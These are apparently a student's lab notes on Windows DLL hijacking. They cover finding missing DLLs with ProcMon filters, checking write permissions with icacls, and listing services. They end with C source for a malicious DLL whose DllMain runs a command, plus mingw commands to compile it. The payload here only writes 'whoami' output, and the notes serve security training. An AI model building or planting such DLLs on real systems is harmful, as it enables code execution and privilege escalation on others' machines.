**DLL hijacking**

-identify vulnerability

-take advantage of the default search order for DLLS

-NAME\_NOT\_FOUND present in executable’s system calls

-validate permissions

-create and transfer Malicious DLL

C:\windows\system32> icacls c:\users\student\exercise\_2

putty.exe

can only add => DLL hijack

**Commands to run**

wmic service list full

sc query

Filters for ProcMon:

-process name contains putty

-result contains NAME NOT FOUND

-path contains .dll

**Linux:**

nano bad.c

#include <windows.h>

int execCommand()

{

WinExec("cmd /C whoami > FINDME\_1.txt", 1);

return 0;

}

BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason, LPVOID lpvReserved)

{

execCommand();

return 0;

}

#3

i686-w64-mingw32-g++ -c bad.c -o bad.o

#4

i686-w64-mingw32-g++ -shared -o bad.dll bad.o -Wl,--out-implib,bad.a